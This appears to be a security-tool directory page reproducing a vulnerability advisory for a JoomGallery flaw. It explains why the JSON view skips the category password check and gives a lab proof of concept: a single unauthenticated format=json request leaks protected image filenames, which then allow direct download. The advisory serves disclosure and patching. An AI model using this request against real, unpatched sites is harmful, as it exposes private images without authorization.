Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-66916 — Password-Protected Category Bypass via JSON Format in JoomGallery | Kitploit
Tools/GitHubGitHub/toanln-cov/cve-2026-66916
Vulnerability AnalysisWeb Application ExploitationWeb Security
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

Password-Protected Category Bypass via JSON Format in JoomGallery

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Password-Protected Category Bypass via JSON Format in JoomGallery

JoomGallery ≤ 4.3.0-stable — Unauthenticated Attacker Bypasses Password Gate to Download Protected Images

CVE CVSS v4.0 CWE-284 Affected Researcher


SUMMARY

An unauthenticated access control bypass exists in JoomGallery's category JSON view. When a gallery category is protected with a password, the HTML view correctly enforces the password gate — but the JSON view (format=json) skips this check entirely.

A remote attacker with no credentials can retrieve the category's title, description, and the randomized filenames of all protected images, then download those images directly. The password protection feature is bypassed with a single HTTP request.

The bypass is limited to categories whose Joomla ACL access level is set to Public (access=1). Categories restricted to Registered or Special access are still blocked at the ACL layer in JsonView.php:69.


AFFECTED VERSIONS

Download Tool
COMPONENTVULNERABLETESTED ONFIXED
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

VULNERABILITY DETAILS

Type: Improper Access Control (CWE-284) Authentication required: None — unauthenticated, single HTTP request File: site/com_joomgallery/src/View/Category/JsonView.php, lines 76–96

Root Cause

JoomGallery implements password protection for categories via a pw_protected flag. This check is present in HtmlView.php but entirely absent in JsonView.php:

HTMLVIEW.PHP — CORRECT (guard present)

root@kitploit:~
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — VULNERABLE (no guard)

root@kitploit:~
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // always executes
$this->item->images->items   = $model->getImages();    // always executes
$this->output($this->item);  // serializes full response to JSON including filenames

Joomla's format=json parameter routes the same URL to a separate View class. Each View must independently enforce access checks — the framework does not propagate them automatically. The developer added the pw_protected guard to HtmlView but omitted it from JsonView.

JoomGallery's password protection relies on keeping image filenames secret — files are stored as static assets under /images/joomgallery/originals/ and served directly by Apache without any server-side auth. Filenames are randomized (e.g., secret-image-1_20260803_1951053711.jpg) and only disclosed after passing the password check via the PHP/Joomla layer. The JSON bypass breaks this model by disclosing filenames to unauthenticated requesters, completing the attack chain to full image retrieval.


PROOF OF CONCEPT

Lab setup:

  • Category: Secret Gallery (id=3, pw_protected=true, access=Public)
  • Contains: Secret Image 1 (secret-image-1_20260803_1951053711.jpg)
  • No cookies, no session, no credentials used in any step below

1. HTML view enforces password gate

root@kitploit:~
GET /index.php/component/joomgallery/category/3

Result: Password form rendered. No category content visible.

Step 1 — HTML password gate


2. Direct image access also blocked via HTML

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

Result: Direct image access Blocked within Alias path (/3-secret-gallery)

Step 2 — Image access blocked


3. JSON format bypasses password check — Leak real filename

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

Response (HTTP 200, no authentication):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true confirms the password is set. Despite this, the full response including the randomized filename is returned to an unauthenticated caller.

Step 3 — JSON bypass leaks filename


4. Download the protected image using the leaked filename

Using the filename obtained in Step 3

Result: HTTP 200 — image file returned directly by Apache. No authentication required.

Step 4 — Protected image downloaded


IMPACT

  1. Read protected category metadata — title, description, creation info, parent hierarchy, all returned without authentication
  2. Enumerate all image filenames within any password-protected Public category via a single JSON request
  3. Download all protected images at full original resolution via direct static file access using the leaked real filenames

Any gallery category the administrator has protected with a password is fully compromised. The attacker requires only the numeric category ID, which is sequential and trivially enumerable.


REFERENCES

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • GitHub Advisory: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • Vendor Repository: https://github.com/JoomGallery/JoomGallery
  • Vendor New Release Note: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html